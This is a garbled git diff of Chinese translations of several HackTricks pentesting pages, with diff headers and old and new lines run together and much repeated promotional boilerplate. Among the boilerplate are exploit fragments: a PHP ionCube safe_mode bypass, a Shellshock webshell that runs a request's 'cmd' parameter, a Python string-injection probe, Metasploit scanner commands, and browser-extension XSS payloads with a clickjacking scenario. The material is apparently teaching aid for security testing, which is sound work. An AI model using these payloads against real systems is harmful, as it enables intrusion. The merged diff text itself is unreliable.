学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# PHP 5.2.4 ionCube扩展漏洞利用 # PHP 5.2.4 ionCube 扩展漏洞
```php ```php
<?php <?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass //PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
@ -51,16 +52,17 @@ echo "<br><br>ionCube output:<br><br>";
echo $MyBoot_ioncube; echo $MyBoot_ioncube;
?> ?>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# PHP 5.x Shellshock Exploit # PHP 5.x Shellshock 漏洞
源:[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
<?php <?php
@ -40,16 +41,17 @@ else return "No output, or not vuln.";
echo shellshock($_REQUEST["cmd"]); echo shellshock($_REQUEST["cmd"]);
?> ?>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Python # Python
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 使用Python的服务器 ## 使用 Python 的服务器
测试可能的**代码执行**,使用函数 _str()_: 测试可能的 **代码执行**,使用函数 _str()_:
```python ```python
"+str(True)+" #If the string True is printed, then it is vulnerable "+str(True)+" #If the string True is printed, then it is vulnerable
``` ```
### 技巧 ### Tricks
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -34,16 +35,17 @@
[deserialization](../../pentesting-web/deserialization/) [deserialization](../../pentesting-web/deserialization/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Symfony # Symfony
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
查看以下帖子: 查看以下帖子:
@ -20,16 +21,17 @@
* [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807) * [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144) * [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -26,23 +27,24 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash ```bash
msf> auxiliary/scanner/vmware/vmware_http_login msf> auxiliary/scanner/vmware/vmware_http_login
``` ```
如果您找到有效凭据可以使用更多的Metasploit扫描模块来获取信息。 如果你找到有效的凭据你可以使用更多的metasploit扫描模块来获取信息。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
学习与实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# BrowExt - XSS 示例 # BrowExt - XSS 示例
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 通过Iframe进行跨站脚本XSS ## 通过 Iframe 进行跨站脚本攻击 (XSS)
这个设置中,实现了一个**内容脚本**来实例化一个Iframe将带有查询参数的URL作为Iframe的来源: 此设置中,实施了一个 **内容脚本** 来实例化一个 Iframe将带有查询参数的 URL 作为 Iframe 的源:
```javascript ```javascript
chrome.storage.local.get("message", result => { chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") + let constructedURL = chrome.runtime.getURL("message.html") +
@ -25,7 +26,7 @@ let constructedURL = chrome.runtime.getURL("message.html") +
frame.src = constructedURL; frame.src = constructedURL;
}); });
``` ```
一个公开访问的HTML页面**`message.html`**旨在根据URL中的参数动态向文档主体添加内容 一个公开可访问的 HTML 页面,**`message.html`**,旨在根据 URL 中的参数动态添加内容到文档主体
```javascript ```javascript
$(document).ready(() => { $(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search); let urlParams = new URLSearchParams(window.location.search);
@ -37,7 +38,7 @@ chrome.tabs.create({ url: destinationURL });
}); });
}); });
``` ```
一个恶意脚本在对手的页面上执行,修改了Iframe源的`content`参数,引入了一个**XSS payload**。这是通过更新Iframe的源以包含一个有害脚本来实现的: 一个恶意脚本在对手的页面上执行,修改 Iframe 源的 `content` 参数以引入 **XSS payload**。这是通过更新 Iframe 的源以包含有害脚本来实现的:
```javascript ```javascript
setTimeout(() => { setTimeout(() => {
let targetFrame = document.querySelector("iframe").src; let targetFrame = document.querySelector("iframe").src;
@ -48,24 +49,24 @@ let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL; document.querySelector("iframe").src = maliciousURL;
}, 1000); }, 1000);
``` ```
一个过于宽松的内容安全策略,如: 一个过于宽松的内容安全策略,如:
```json ```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
``` ```
允许执行JavaScript使系统容易受到XSS攻击。 允许执行JavaScript使系统容易受到XSS攻击。
触发XSS的另一种方法是创建一个Iframe元素并将其源设置为包含有害脚本的`content`参数: 引发XSS的另一种方法是创建一个Iframe元素并将其源设置为包含有害脚本作为`content`参数:
```javascript ```javascript
let newFrame = document.createElement("iframe"); let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>"); encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame); document.body.append(newFrame);
``` ```
## 基于DOM的XSS + 点击劫持 ## DOM-based XSS + ClickJacking
这个例子取自[原始帖子](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)。 这个例子取自[原始帖子写作](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)。
核心问题源自位于**`/html/bookmarks.html`**中的基于DOM的跨站脚本XSS漏洞。有问题的JavaScript代码位于**`bookmarks.js`**中,具体如下 核心问题源于位于 **`/html/bookmarks.html`** 的基于DOM的跨站脚本XSS漏洞。以下是有问题的JavaScript属于 **`bookmarks.js`**
```javascript ```javascript
$('#btAdd').on('click', function() { $('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val(); var bookmarkName = $('#txtName').val();
@ -82,13 +83,13 @@ $('section.bookmark-container .existing-items').append(bookmarkItem);
persistData(); persistData();
}); });
``` ```
段代码从**`txtName`**输入字段中获取**数值**,并使用**字符串拼接生成HTML**然后使用jQuery的`.append()`函数将其附加到DOM中 个代码片段从 **`txtName`** 输入字段获取 **值**,并使用 **字符串连接生成 HTML**,然后通过 jQuery 的 `.append()` 函数将其附加到 DOM
